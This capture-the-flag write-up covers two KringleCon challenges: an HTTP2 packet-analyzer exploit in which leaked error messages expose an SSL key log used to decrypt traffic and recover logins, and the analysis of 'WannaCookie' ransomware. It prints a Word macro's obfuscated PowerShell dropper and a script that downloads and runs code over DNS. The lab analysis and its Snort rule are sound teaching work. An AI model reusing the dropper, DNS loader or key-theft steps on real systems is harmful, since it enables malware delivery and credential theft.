    After we help SugarPlum escape, she tells us:

    Yay, you did it! You escaped from the Python!

    As a token of my gratitude, I would like to share a rumor I had heard about Santa's new web-based packet analyzer - Packalyzer.

    Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.

    Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.

    There was suspicious-looking development code using environment variables to store SSL keys and open up directories.

    This elf then told me that manipulating values in the URL gave back weird and descriptive errors.

    I'm hoping these errors can't be used to compromise SSL on the website and steal logins.

    On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!

  • Relevant KringleCon Videos

Solution Part 1: Downloading the SSL Key Logfile

A lot of hints on this one. We start by loading up Packalyzer, and trying to find the HTML comments. We have access to two pages initially, the home page, and the new user registration page. We can't find any hidden comments in either one, so we go ahead and register a new user, and then sign in with our new account.

At this point, the Packalyzer allows us to sniff 20 seconds of traffic, and then download the PCAP.

Once we're authenticated, we can find the following comment in the page source:

//File upload Function. All extensions and sizes are validated server-side in app.js
$(function () {
    'use strict';
    $('#fileupload').fileupload({ doesn't work, but we also noticed some resources being loaded from, and we can recover the server-side source code of app.js from

Folllowing SugarPlum's hints, we found the comment, and grabbed the server-side source code sitting in the web root. Now we need to identify the environment variables used to store SSL keys:

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time

Let's take this line by line. In the development copy we have, dev_mode is set to true. key_log_path uses some short-hand syntax, which could also be written as:

if ( dev_mode )
    const key_log_path = __dirname + process.env.DEV + process.env.SSLKEYLOGFILE;

Finally, once key_log_path is set, the comment tells us that it's used to view traffic. Our hints seem to point us to recovering this file, and then using it to decrypt the traffic. Perhaps the file was left over from development. We need to figure out what the environment variables DEV and SSLKEYLOGFILE were set to.

The main logic of the file is the router.get function. An annotated version is:

//Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
    try {
        var Session = await sessionizer(ctx);

        // Splits the web path into an array delimited by /
        // e.g. /pub/dir/../file -> ["pub", "dir", "..", "file"]
        let split_path = ctx.path.split('/').clean("");

        //Grabs directory which should be first element in array
        // e.g. ["pub", "dir", "..", "file"] -> "PUB"
        let dir = split_path[0].toUpperCase();

        // Removes the first element of the array
        // e.g. ["pub", "dir", "..", "file"] -> ["dir", "..", "file"]

        // e.g. ["dir", "..", "file"] -> "/dir/../file"
        let filename = "/" + split_path.join('/');

        // This removes any instances of ".." to prevent path traversal attacks
        // e.g. "/dir/../file" -> "/dir//file"
        while (filename.indexOf('..') > -1) {
            filename = filename.replace(/\.\./g,'');

        // Only execute if the filename is not 'index.html', 'home.html', or 'register.html'
        if (!['index.html', 'home.html', 'register.html'].includes(filename)) {
            // Build the filename, and set the content type header accordingly
            ctx.set('Content-Type', mime.lookup(__dirname + (process.env[dir] || '/pub/') + filename))
            // Read the file, and send it as the body
            ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename)
        // For 'index.html', 'home.html', or 'register.html', return a 404 instead.
            ctx.status = 404;
            ctx.body = 'Not Found';
    // If anything we've tried so far generated an error, return that error as the body
    } catch (e) {
        ctx.body = e.toString();

Going through this, especially with an example, we can understand the logic. Sometimes it's useful to try running a command, and seeing what the output is. In cases like this, we pull up the Javascript console of our browser's developer tools again:


Figure 43: Testing JS code in our console

Our attention is drawn to how the code builds the filename:

ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename)

Again, we'll expand this logic out a bit:

// e.g. ["pub", "dir", "..", "file"] -> "PUB"
let dir = split_path[0].toUpperCase();

if ( process.env[dir] )
    var dir = process.env[dir];
    var dir = '/pub/';

ctx.body = fs.readFileSync(__dirname + dir + filename)

So, the first part of our path is upper-cased, and if an environment variable exists with that name, it attempts to use that as part of the path to our file. Let's try it. Searching for process.env pulls up some Node.js documentation:


Figure 44: process.env documentation

Let's try accessing the PATH environment variable:

$ curl -s ''
Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/file'

We received an error message, but one which discloses some information. Let's try to unpack this, given that we have the source for how the filename was built. First, let's identify exactly which part is our PATH. We can check this on a Cranberry Pi terminal, as a point of comparison:

elf@cranpi:~$ echo $PATH

Reading our error message carefully, we can identify all three variables that combined to form the filename:

Value Variable
/opt/http2 __dirname
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin process.env[dir] (PATH)
/file filename

At this point, we need to recover the environment variables DEV and SSLKEYLOGFILE, which are referenced in key_log_path = __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ):

$ curl -s ''
Error: ENOENT: no such file or directory, open '/opt/http2/dev//file'
$ curl -s ''
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/file'

From this, we can deduce that DEV is /dev/ and SSLKEYLOGFILE is packalyzer_clientrandom_ssl.log. We've already figured out __dirname, so our key_log_path would've been /opt/http2/dev/packalyzer_clientrandom_ssl.log. We just need to figure out how to access that via the webserver. We've already noted that we can access files from, so let's get the full path of that by generating an error message for a non-existant file:

curl -s ''
Error: ENOENT: no such file or directory, open '/opt/http2/pub//passwords'

Great! The files we're accessing are from /opt/http2/pub, so /opt/http2/dev should be just as easy to access:

$ curl -sv -o packalyzer_clientrandom_ssl.log ''
< HTTP/2 200
< set-cookie: PASESSION=6184281170062926003382193748323381
< content-type: text/plain
< content-length: 38896
< date: Sun, 13 Jan 2019 17:32:29 GMT
{ [16384 bytes data]

Great! We've successfully downloaded the file.

Solution Part 2: Decrypting the Traffic

We've run through most of SugarPlum's hints in order to recover the SSL Key Logfile. As a reminder, she also told us:

I'm hoping these errors can't be used to compromise SSL on the website and steal logins.

On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!

We already used Chris Elgee's video for the CURLing Master terminal, and it made no mention of using HTTP2 to compromise SSL. The other video is Chris Davis, HTTP/2: Decryption and Analysis in Wireshark, which sounds perfect.

The first part of the talk discusses how to create the SSL Key Logfile using curl and Chrome. This seems like what we just recovered from the system, only that it was generated server-side instead of client-side. The talk also mentions how we can use this file to decrypt the SSL traffic in Wireshark. In order to do that, we need a PCAP, though. Perhaps a new PCAP from the Packalyzer web interface?

The comment in the server-side source code warned us that the key log only stores a few minutes worth at a time. The server can't log keys ahead of time, so our workflow should be:

  1. Sniff traffic on Packalyzer, to generate a new PCAP.
  2. Download the SSL key logfile
  3. Download the capture
  4. Attempt to decrypt the SSL traffic in the capture with the key logfile.

For step 4, we just continue following along with Chris's video. First, we configure the Wireshark SSL protocol analyzer to use our freshly downloaded key logfile:


Figure 45: Configuring Wireshark SSL protocol analyzer

It worked! We can now see some HTTP2 traffic:


Figure 46: Wireshark HTTP2 overview

As a reminder, our goal is to steal logins, and ultimately access a document sent from Holly to Alabaster. To start, we'll filter out just HTTP2 traffic, using the http2 display filter:


Figure 47: Wireshark with http2 filter

We immediately see a HTTP POST request to /api/login, which seems promising. Chris's video has a very similar request, and he points out that to get the actual username and password, we need to look at a different frame in the packet capture. We'll combine two of Chris's example filters into http2.header.value == "POST" or, and then we can find some credentials:


Figure 48: Wireshark with http2 POST filter

We've found Pepper's credentials. Can we find anyone else's? To speed up this analysis a bit, we're going to add some custom fields to the Wireshark display. Either by right-clicking on the column headers and going to Column Preferences... or by going to PreferencesAppearanceColumns. We'll add two custom columns for JSON keys and values:


Figure 49: Wireshark custom columns

Finally, we'll filter our PCAP to display frames which have a JSON key of "password":


Figure 50: Wireshark with json filter


Username Password
pepper Shiz-Bamer_wabl182
alabaster Packer-p@re-turntable192

We've followed all the hints, but ultimately, we're looking for a document. The HTTP2 traffic we're seeing in this PCAP looks like the Packalyzer website itself, so we're presuming the credentials are for that. Since we know the document was sent to Alabaster, let's start with his credentials, and try logging into Packalyzer:


Figure 51: Successful login as Alabaster

Opening up the captures associated with Alabaster's account, we find the tantalizingly named super_secret_packet_capture.pcap. We'll grab it and open it up in Wireshark again. A good way to get a quick overview of a PCAP in Wireshark is to use StatisticsProtocol Hierarchy:


Figure 52: Super secret protocol hierarchy

It looks like the only thing Wireshark found in this PCAP is SMTP (e-mail) traffic. Note that it's not listed as 100%, since some packets are simply TCP control packets. We'll filter on smtp:


Figure 53: Super secret SMTP

We immediately see an e-mail from Holly to Alabaster. Looks like we're on the right track… Now we just need to find and extract the document. To get a better look at the data, we can right click on one of the frames, and select FollowTCP Stream. A new window pops up:


Figure 54: Super secret e-mail

Holly says:

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

What follows is the attachment:

Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment


We can see that the attachment is encoded as base64, so we can copy and paste the data, and then decode it with:

$ cat obj8_attachment.b64 | base64 --decode > obj8_attachment
$ file obj8_attachment
obj8_attachment: PDF document, version 1.5
$ mv obj8_attachment obj8_attachment.pdf

The attachment is a PDF, so we'll rename it accordingly. Opening the document gives us our answer:


Figure 55: Super secret song


Mary Had a Little Lamb

We also note that this document walks us through how to transcribe a song from one key to another.

Ransomware Recovery


Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.


  • Location

    To access these challenges, you need to have gotten access to Santa's Secret Room, either by bypassing the QR code Scan-O-Matic, or by crawling through the vents.

  • Terminal Challenge

    For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

  • Badge Hint

    Once we help Shinny win the Sleigh Bell Lottery, he gives us several hints. As this grand challenge is really a multi-part exercise, we'll break it down by question.

Phase 1: Catch the Malware

  • Goal

    Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

  • Background

    In Santa's secret room, we find a few terminals and Alabaster Snowball. Alabaster asks us for help:

    Help, all of our computers have been encrypted by ransomware!

    I came here to help but got locked in 'cause I dropped my "Alabaster Snowball" badge in a rush.

    I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!

    Unfortunately, the password database I keep on my computer was encrypted, so now I don't have access to any of our systems.

    If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!

    We launch the Snort Challenge terminal. Opening it up, we see the following message:

      Kringle Castle is currently under attacked by new piece of
      ransomware that is encrypting all the elves files. Your 
      job is to configure snort to alert on ONLY the bad 
      ransomware traffic.
      Create a snort rule that will alert ONLY on bad ransomware
      traffic by adding it to snorts /etc/snort/rules/local.rules
      file. DNS traffic is constantly updated to snort.log.pcap
      Successfully create a snort rule that matches ONLY
      bad DNS traffic and NOT legitimate user traffic and the 
      system will notify you of your success.
      Check out ~/more_info.txt for additional information.

    Looking at more_info.txt, we see:

      A full capture of DNS traffic for the last 30 seconds is 
      constantly updated to:
      You can also test your snort rule by running:
      snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
      This will create an alert file at ~/snort_logs/alert
      This sensor also hosts an nginx web server to access the 
      last 5 minutes worth of pcaps for offline analysis. These 
      can be viewed by logging into:
      Using the credentials:
      Username | elf
      Password | onashelf
      tshark and tcpdump have also been provided on this sensor.
      Malware authors often user dynamic domain names and 
      IP addresses that change frequently within minutes or even 
      seconds to make detecting and block malware more difficult.
      As such, its a good idea to analyze traffic to find patterns
      and match upon these patterns instead of just IP/domains.

    To summarize, we need to edit /etc/snort/rules/local.rules and add a rule to detect the malware, but not alert on legitimate traffic. To test our rule, we can run snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf.

  • Solution

    Let's start by taking a look at local.rules:

    elf@snort:~$ cat /etc/snort/rules/local.rules
    # $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
    # ----------------
    # ----------------
    # This file intentionally does not come with signatures.  Put your local
    # additions here.

    No rules in there yet. Let's check out the DNS traffic and determine what we need to alert on.

    We're told that we also have a PCAP file with 30 seconds of traffic. For digging into the PCAP, we can get some hints from Mike Poor's KringleCon talk. One of the tools mentioned is tshark, which we're told is on this system. The Snort system doesn't have manual pages installed, but if we run tshark -h, we see some useful help output:

    elf@snort:~$ tshark -h
    TShark (Wireshark) 2.6.4 (Git v2.6.4 packaged as 2.6.4-2~ubuntu16.04.0)
    Dump and analyze network traffic.
    See for more information.
    Usage: tshark [options] ...
    Input file:
      -r <infile>              set the filename to read from (- to read from stdin)

    Let's just try reading the PCAP, and see what we're working with:

    elf@snort:~$ tshark -r snort.log.pcap 
    1   0.000000 ? DNS 88 Standard query 0x16ce TXT
    2   0.010196 ?  DNS 151 Standard query response 0x16ce TXT TXT
    3   0.020420 ? DNS 99 Standard query 0xc933 TXT
    4   0.030638 ? DNS 167 Standard query response 0xc933 TXT TXT
    5   0.040846 ? DNS 99 Standard query 0x0fd6 TXT
    6   0.051062 ? DNS 167 Standard query response 0x0fd6 TXT TXT
    7   0.061313 ? DNS 101 Standard query 0xf013 TXT     

    The output of the command is rather verbose, and looks like an intimidating wall of text.

    We see a number of DNS TXT queries (Standard query 0x.... TXT) and responses (Standard query response 0x.... TXT). At this point, we could use standard Linux tools (e.g. grep, cut, awk) to start analyzing the queries, but tshark can do some advanced analysis itself. The output format isn't the most helpful, so by consulting the tshark man page, we can create a command which only shows the DNS query name, and doesn't print DNS responses (which would cause each query to be printed twice):

    tshark -r snort.log.pcap -T fields -e -Y 'dns.flags.response == 0' 

    To make it easier to see what's going on, we can take the above command and pipe it to sort, by appending |sort. Some of the results are:


    It seems like we have two types of queries: HEX_DIGITS.suspicious_domain_name and RANDOM_WORDS.well_known_domain_name. Taking it a step further, we notice that the suspicious queries are of the form:

    <Optional Number>.77616E6E61636F6F6B69652E6D696E2E707331.<Domain Name>

    A closer look at the domain names reveals something interesting… is an anagram for and is an anagram for

    What about the 776... sequence? We tried decoding it as base64, but that didn't work. It turns out it's just hex-encoded:

    elf@snort:~$ echo '77616E6E61636F6F6B69652E6D696E2E707331' | xxd -r -p

    It seems something is querying <chunk>.<wannacookie.min.ps1>.<Hans Gruber's domains>. Certainly looks suspicious…

    We'll start by editing local.rules with the following rule:

    alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; )

    Our task is to alert on the traffic, so we'll use the alert keyword. The traffic in the PCAP is destined to a DNS server on UDP port 53. However, the source IP, source port, and destination IP all seem random. So we'll use "any any" for the source IP and port, and "any 53" for the destination IP and port.

    The <> characters configure our rule to alert on both the request and response. There are some trade-offs for alerting on the response (increased false-positive rate, but also an increased chance to detect compromised hosts).

    Finally, we're looking for our hex-encoded "wannacookie.min.ps1" string.

    Once we add this rule, we get the following message:

    [i] Snort is not alerting on all ransomware!

    more_info.txt did give us a command line to test our rules, so we can try that:

    elf@snort:~$ snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf 
    Initializing rule chains...
    ERROR: /etc/snort/rules/local.rules(1) Each rule must contain a rule sid.
    Fatal Error, Quitting..

    Oops. It seems like sids of at least 1,000,000 are reserved for local rules, so we'll use that. The Snort manual also tells us to use a revision number in our rule.

    alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid: 1000000; rev: 1)

    With this rule in place, we're told: [+] Congratulation! Snort is alerting on all ransomware and only the ransomware!


    Snort is alerting on all ransomware and only the ransomware

    • Refining the Snort rule

      Our rule works, but is not a great rule. Any UDP content that has that string anywhere in the packet will trigger the rule.

      DNS uses a special method to encode the query name on the wire. Each portion of the DNS name (the "labels"), are prefixed with the length of that label, with an empty label at the end. So, "" would be encoded as |03|www|02|es|03|net|00|.

      We can rewrite a better rule as:

      alert udp any any <> any 53 ( content:"|26|77616E6E61636F6F6B69652E6D696E2E707331"; msg: "WannaCookie!"; nocase; sid: 1000000; rev: 1)

      We're also adding the nocase option, to make our match case-insensitive.

Phase 2: Identify the Domain

  • Goal

    Using the Word docm file, identify the domain name that the malware communicates with.

  • Background
    • Elf Chat

      Checking back in with Alabster, he says:

      Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.

      Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?

      All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.

      Also, Shinny tells us:

      Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?

      Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.

      Many elves were affected, so Alabaster went to go see if he could help out.

      I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.

    • Badge Hint

      We have the following hints from Shinny and Alabaster:

      Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!

      Word docm macros can be extracted using olevba. Perhaps we can use this to grab the ransomware source.

    • Relevant KringleCon Videos
  • Solution

    Downloading the document, we hit a snag in extracting it. It seems like unzip and Apple's Archive Viewer don't support the format. We end up using p7zip, which can successfully extract it with the password provided, and we find a Word docm file. This seems to be a macro-enabled document file.

    Learning from Alabaster's mistake, we're going to watch Chris's video first, and follow along. Chris's following tip seems especially relevant for Alabaster, in hindsight:

    Never run or analyze malware from your host or host environment

    After covering some basic Operational Security best practices, Chris starts talking about a malicious Word document, just like the one we were given. The first tool he uses is olevba. Following along:

    olevba 0.53.1 -
    Flags        Filename
    -----------  -----------------------------------------------------------------
    Type: OpenXML
    VBA MACRO ThisDocument.cls
    in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    (empty macro)
    VBA MACRO Module1.bas
    in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Private Sub Document_Open()
    Dim cmd As String
    cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream(
    [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
    Shell cmd
    End Sub
    VBA MACRO NewMacros.bas
    in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream(
    [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
    Shell cmd
    End Sub
    | Type       | Keyword         | Description                             |
    | AutoExec   | AutoOpen        | Runs when the Word document is opened   |
    | AutoExec   | Document_Open   | Runs when the Word or Publisher         |
    |            |                 | document is opened                      |
    | Suspicious | Shell           | May run an executable file or a system  |
    |            |                 | command                                 |
    | Suspicious | powershell      | May run PowerShell commands             |
    | Suspicious | ExecutionPolicy | May run PowerShell commands             |
    | Suspicious | New-Object      | May create an OLE object using          |
    |            |                 | PowerShell                              |
    | IOC        | powershell.exe  | Executable file name                    |

    olevba has identified some suspicious macros in our file. We can see that it's trying to run some commands with Powershell, but the commands are obfuscated. Following along in Chris's video, we see many similarities with his example and our chocolate chip cookie recipe. To deobfuscate this command, we'll remove the iex call (Invoke-Expression), and save the output to dropper.ps1. We'll write this as a script, to make it a bit easier to read:

    sal a New-Object;
    $command = 'lVHRSsMwFP2VSwksYUtoW...REohG';
    (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($command), 
                       [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1

    Now we can run it, and verify that we have our file:

    PS C:\Users\Administrator\Desktop> powershell.exe -ExecutionPolicy Bypass .\cookie_macro.ps1
    PS C:\Users\Administrator\Desktop> dir .\dropper.ps1
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        1/13/2019   9:11 PM            900 dropper.ps1

    Great! Now let's examine dropper.ps1:

    function H2A($a) {
        $o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
        return $o;
    $f = "77616E6E61636F6F6B69652E6D696E2E707331"; 
    $h = ""; 
    foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10)-1)) {
        $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings
    iex($(H2A $h | Out-string))

    Even after some cleanup, the code is hard to read, but we clearly see the domain:


    Why… that's one of the domains we found in our pre-conference recon! But what does it mean?

    >>> import codecs
    >>> codecs.encode('erohetfanu', 'rot_13')
    >>> _[::-1]

    Well, if it isn't "hansgruber" backwards, and ROT-13 encoded! That solves one mystery that's been bugging us since before the conference even started!

Phase 3: Stop the Malware

  • Goal

    Identify a way to stop the malware in its tracks!

  • Background
    • Elf Chat

      Shinny told us:

      An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.

      Alabaster says:, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.

      I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.

      Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!

    • Badge Hint

      We have a couple of hints from Alabaster:

      I think I remember reading an article recently about Ransomware Kill Switchs. Wouldn't it be nice if our ransomware had one!

      wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?

      The article tells us:

      By relying on a static, discoverable address, whoever found it—in this case MalwareTech—could just register the domain and trigger WannaCry's shutdown defense.

  • Solution

    At the end of Phase 2, we recovered a snippet that does something over DNS:

    $f = "77616E6E61636F6F6B69652E6D696E2E707331"; 
    foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10)-1)) {
        $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings

    We see that the first DNS query is actually in the foreach line itself:

    Resolve-DnsName -Server -Name "$" -Type TXT

    We expect this to return a number, as it's being convert to a 32-bit integer, as base 10. We recognize 77616E6E61636F6F6B69652E6D696E2E707331 from the PCAPs on the Snort system, and we already found that it's a hex-encoded "wannacookie.min.ps1". Let's see what's being sent over DNS:

    PS > $f = "77616E6E61636F6F6B69652E6D696E2E707331";
    PS > (Resolve-DnsName -Server -Name "$" -Type TXT).strings

    As expected, the first top-level query returned a number. Next, the script would start to loop over queries for 0.$, 1.$, up to the 63.$ Let's see what those look like:

    PS > (Resolve-DnsName -Server -Name "0.$" -Type TXT).strings

    Looks like more encoded content. We notice that the script was passing this output to a function, H2A:

        $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings
    iex($(H2A $h | Out-string))

    It would stand to reason that this is once again hex-encoded, and H2A is short for "hex to ASCII."

    PS >      function H2A($a) {
    >>          $o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
    >>          return $o;
    >>        };
    PS > H2A((Resolve-DnsName -Server -Name "0.$" -Type TXT).strings)
    $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl

    We decoded it, and recovered Powershell code. This was expected, as Invoke-Expression (iex) executes Powershell code. It seems as if the 64 queries are simply chunks of the same file. Let's see if we can recover it all:

    PS > $h = "";
    PS > foreach ($i in 0..63) {
    >>       $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings
    >>   };
    PS > H2A($h) | Out-File wannacookie.min.ps1
    PS > dir .\wannacookie.min.ps1
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        1/13/2019   9:43 PM          16034 wannacookie.min.ps1

    Inspecting the file, it looks like we've managed to download the entire file, just over DNS.

    Hans seems to have setup his DNS server to make life a bit harder for security researchers, as by default, the queries only work from Windows clients. Chris suggests modifying the attacker's code whenever possible, and not following his advice bit us. Many Linux DNS query tools default to using Extended DNS options (EDNS), which is needed to support DNSSEC. When querying from a tool such as dig, we needed to add the +noedns option in order to get a reply.

    Alabaster hints at there being a non-minified version of the file.

    PS > 'wannacookie.ps1' | Format-Hex
               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
    00000000   77 61 6E 6E 61 63 6F 6F 6B 69 65 2E 70 73 31     wannacookie.ps1
    PS > $f = '77616e6e61636f6f6b69652e707331';
    PS > (Resolve-DnsName -Server -Name "$" -Type TXT).strings
    PS > $h = '';
    PS >      foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10)-1)) {
    >>          $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings
    >>      };
    PS > H2A($h) | Out-File wannacookie.ps1
    PS > dir .\wannacookie.*
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        1/13/2019   9:43 PM          16034 wannacookie.min.ps1
    -a----        1/13/2019  11:28 PM          21090 wannacookie.ps1

    We successfully recovered a file, which is larger than the minified version. Let's start investigating it. There's a lot going on here, with several functions. We can infer a lot just from the function names, and what system calls the functions make:

    Function Name Purpose Notes
    Enc_Dec-File Encrypt/Decrypt file?  
    H2B Hex to something ?  
    A2H ASCII to Hex  
    H2A Hex to ASCII Matches the dropper H2A
    B2H Something to Hex ? (Inverse of H2B?)  
    ti_rox XOR This is "xor_it" backwards!
    B2G GZIP compress Calls GzipStream with Compress
    G2B GZIP decompress Calls GzipStream with Decompress
    Sha1 SHA1 Hash Calls SHA1 ComputeHash
    Pub_Key_Enc Encrypt with X509 Public Key Calls PublicKey Encrypt
    get_over_dns Download a file over DNS Matches code in the dropper
    wannacookie Main function? Calls most other functions

    Again, Chris suggests just adapting this code to investigate it, rather than trying to replicate it ourselves. Before we make any changes, though, we'll make sure to backup the original file.

    At the very bottom of the file, we see that the file calls wannacookie. We can comment out that line, and now we can load the file without anything executing. We're also working in an isolated virtual machine, just in case we pull an Alabaster. Once the file is loaded, we'll start going through the logic of the wannacookie function, slowly enough so as to understand what each component does:

    PS > Import-Module .\wannacookie_defused.ps1
    PS > $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"

    However, very quickly we reach a line that's difficult to understand. It looks like it's doing a DNS query, but what it's actually querying is very difficult to parse. Tracing these parentheses is almost as difficult as in Lisp! Reading the line carefully, we see that it's doing two DNS TXT queries. One is trivial to rerun:

    PS > $inner_query = $(Resolve-DnsName -Server -Name -Type TXT).Strings;
    PS > $inner_query
    PS > H2A($inner_query);

    Still obfuscated. But what is the domain it's trying?

    PS > H2A "6B696C6C737769746368"

    We're on the right track! We can now continue untangling this line, as we work our way out:

    PS > $xor_result = $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $inner_query))
    PS > $xor_result
    PS > $(H2A $xor_result)

    Our line now looks like:

    if ( $null -ne (Resolve-DnsName -Name "yippeekiyaa.aaay" -ErrorAction 0 -Server ) {

    So, this code tries to lookup "yippeekiyaa.aaay" via Google's DNS server. If it gets a result, it just returns. We seem to have found our kill switch. The WannaCry article discussed how a researcher registered the killswitch domain in order to stop it in its tracks. We've also noticed the "HoHoHoDaddy" terminal, which brings up a domain registration page. If we enter our domain, we get:


    Figure 56: Killswitch registered



Phase 4: Recover Alabaster's Password

  • Goal

    Recover Alabaster's password as found in the the encrypted password vault.

  • Background
    • Elf Chat

      Alabaster says:

      Yippee-Ki-Yay! Now, I have a ma… kill-switch!

      Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.

      As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.

      Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.

      One of the passwords will unlock our access to the vault so we can get in before the hackers.

      We also have the following hints from Shinny:

      He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.

      Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!

      Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.

      Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.

      If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.

    • Badge Hint

      We have a hint that we haven't used yet:

      Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.

  • Solution

    Opening the zip reveals two files: alabaster_passwords.elfdb.wannacookie and powershell.exe_181109_104716.dmp. To solve this, we really need to understand the Powershell script better. After some analysis, we can trace the main code flow:


    Figure 57: WannaCookie Flowchart

    At this point, Shinny's hints make more sense. We observe the malware grabbing a public key over DNS (pub_key). The files are then encrypted with a different, random encryption key (Byte_key and Hex_key). Unfortunately, Byte_key and Hex_key are cleared from memory, so we likely won't be able to find them in the memory dump. We notice that Byte_key is encrypted with pub_key and uploaded over DNS. Shinny's hint tells us that to decrypt the encrypted Byte_key, we need the private key.

    The public key was downloaded over DNS with the filename "server.crt". The Packalyzer also had a "server.crt" key, and its private key was stored in "server.key." Let's see if the malware author left that key sitting around:

    PS > $f = $(A2H "server.key")
    PS > $(Resolve-DnsName -Server -Name "$" -Type TXT).Strings
    PS > get_over_dns($f) | Out-File "server.key"
    PS > dir .\server.key
    Mode                LastWriteTime         Length Name                                                                                                                    
    ----                -------------         ------ ----                                                                                                                    
    -a----        1/14/2019   2:59 AM           3470 server.key 

